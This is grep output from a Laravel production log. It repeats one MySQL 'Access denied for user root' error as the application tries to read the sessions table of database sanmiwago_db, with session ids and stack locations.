./storage/logs/laravel.log:[2026-08-04 21:16:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q0nl90jveyokgVxLfeo0FnGTfQxkKwC24fa4hPKu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q0nl90jveyokgVxLfeo0FnGTfQxkKwC24fa4hPKu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-07 08:23:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Po9kQpHBgaE5CFyGKg5UyhV7iAY4HsL9k6Q2fbo7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Po9kQpHBgaE5CFyGKg5UyhV7iAY4HsL9k6Q2fbo7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-07 16:17:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = t9k1XEffAkz9Zb8bRaO6n5KNCU2Jr45xXldQP6pQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = t9k1XEffAkz9Zb8bRaO6n5KNCU2Jr45xXldQP6pQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-08 02:14:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OSLpoVpUiqNNwj5msoCuLV3xJJafdZYd30aTbi9Z limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OSLpoVpUiqNNwj5msoCuLV3xJJafdZYd30aTbi9Z limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-08 18:15:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5UPqr5ztobnQw81inKCHk5YTkH49thBj9oaG6lBT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5UPqr5ztobnQw81inKCHk5YTkH49thBj9oaG6lBT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-09 05:19:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8qxsGi8Hd0SmLyr5l0uQl5TKb004himavH3T3L4T limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8qxsGi8Hd0SmLyr5l0uQl5TKb004himavH3T3L4T limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 06:54:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hm2QsNddMnnmCdxOjp5VHp7O9sWL9lcWUXknxV4R limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hm2QsNddMnnmCdxOjp5VHp7O9sWL9lcWUXknxV4R limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 06:54:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NXkzjR1DpDvFJpnyhH3EGeeOqDvpRLhw0cN8xX2e limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NXkzjR1DpDvFJpnyhH3EGeeOqDvpRLhw0cN8xX2e limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NArllXV5m1Dr0N20aA64ZCG3UdWEdV8jVSbC1uY6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NArllXV5m1Dr0N20aA64ZCG3UdWEdV8jVSbC1uY6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UNUhTX851hRMtZT40oWZRGfNDBgfqpxaodrCZinq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UNUhTX851hRMtZT40oWZRGfNDBgfqpxaodrCZinq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NEbKu9dIXXkn2YHvYh1nmzEQUoUoIplakpXFARa5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NEbKu9dIXXkn2YHvYh1nmzEQUoUoIplakpXFARa5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FOepiZtemuJAeuv1bM24ayqR2FIOh5PbLM801VFn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FOepiZtemuJAeuv1bM24ayqR2FIOh5PbLM801VFn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dh2wPOJIEvF5B3wv9QeWr4iI6X49iYWuQYNkDfK5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dh2wPOJIEvF5B3wv9QeWr4iI6X49iYWuQYNkDfK5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = irmYTa0rVMnZd2zb9wgsrQnQakmc8M0zHAAY04sF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = irmYTa0rVMnZd2zb9wgsrQnQakmc8M0zHAAY04sF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:50:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4JZTObiD7mV8iqQUjuebkAwYstdbCmBeQwwnEnwi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4JZTObiD7mV8iqQUjuebkAwYstdbCmBeQwwnEnwi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:51:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5xQIBA8ZETuPBsbv2MraGlwmdbPdIHfzbqtMj48C limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5xQIBA8ZETuPBsbv2MraGlwmdbPdIHfzbqtMj48C limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:51:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = JwWL5CsSEoMsjPM7rzkoSPpOUbsFZ3sHvxUiOfCo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = JwWL5CsSEoMsjPM7rzkoSPpOUbsFZ3sHvxUiOfCo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:51:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lGOu3KTHPb0hmCIOtkK1NedSGiOaWc2005JwGSiA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lGOu3KTHPb0hmCIOtkK1NedSGiOaWc2005JwGSiA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:51:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = thSyVyttXk8yO4HwDte1A3gE1LpuvfgdGI51bqSw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = thSyVyttXk8yO4HwDte1A3gE1LpuvfgdGI51bqSw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:51:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SkL5wq10FTfH2wjhiar4k4K3wAdwqjwpdZ4DrelX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SkL5wq10FTfH2wjhiar4k4K3wAdwqjwpdZ4DrelX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:51:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6xZsHkjAYycUMJmXCO01tqAnImF0xRem0eW2dqu7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6xZsHkjAYycUMJmXCO01tqAnImF0xRem0eW2dqu7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:52:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UwV8hHlgGw4mrVFxcinnkorrvscBoiiS9gEtoS2r limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UwV8hHlgGw4mrVFxcinnkorrvscBoiiS9gEtoS2r limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:52:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ckisbKGTCPnfdBOAg39ZNU021NtsNKR0fJOFzbMI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ckisbKGTCPnfdBOAg39ZNU021NtsNKR0fJOFzbMI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:52:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hNqm6pdQBRnrVLGTZe9GPVuC6b6BUYSnRutwdt7s limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hNqm6pdQBRnrVLGTZe9GPVuC6b6BUYSnRutwdt7s limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:52:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ePmdk85ey1gkDcUykjnn0iYru2MaeztuLqMqUyDq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ePmdk85ey1gkDcUykjnn0iYru2MaeztuLqMqUyDq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:53:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = yhEtZrT4aME6YtyFQS8N7z2kVX139JtzLezWaoIo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = yhEtZrT4aME6YtyFQS8N7z2kVX139JtzLezWaoIo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:53:37] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = L3jVopjAHvhdzsNlexDGfPHEKXnzwQKU1iauV4Sr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = L3jVopjAHvhdzsNlexDGfPHEKXnzwQKU1iauV4Sr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:54:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XVADprjAjJb2RVMYsHHXJDamR5s0rgRoRSLsbhG4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XVADprjAjJb2RVMYsHHXJDamR5s0rgRoRSLsbhG4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:54:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Td3acEKLFdkHcxUxO5MCDzcJdl2HQiVl1GTfnUo2 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Td3acEKLFdkHcxUxO5MCDzcJdl2HQiVl1GTfnUo2 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:54:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = p9klEnDnanAl6jBiIqKQ04NCxrdavS3QG74zvIe4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = p9klEnDnanAl6jBiIqKQ04NCxrdavS3QG74zvIe4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) 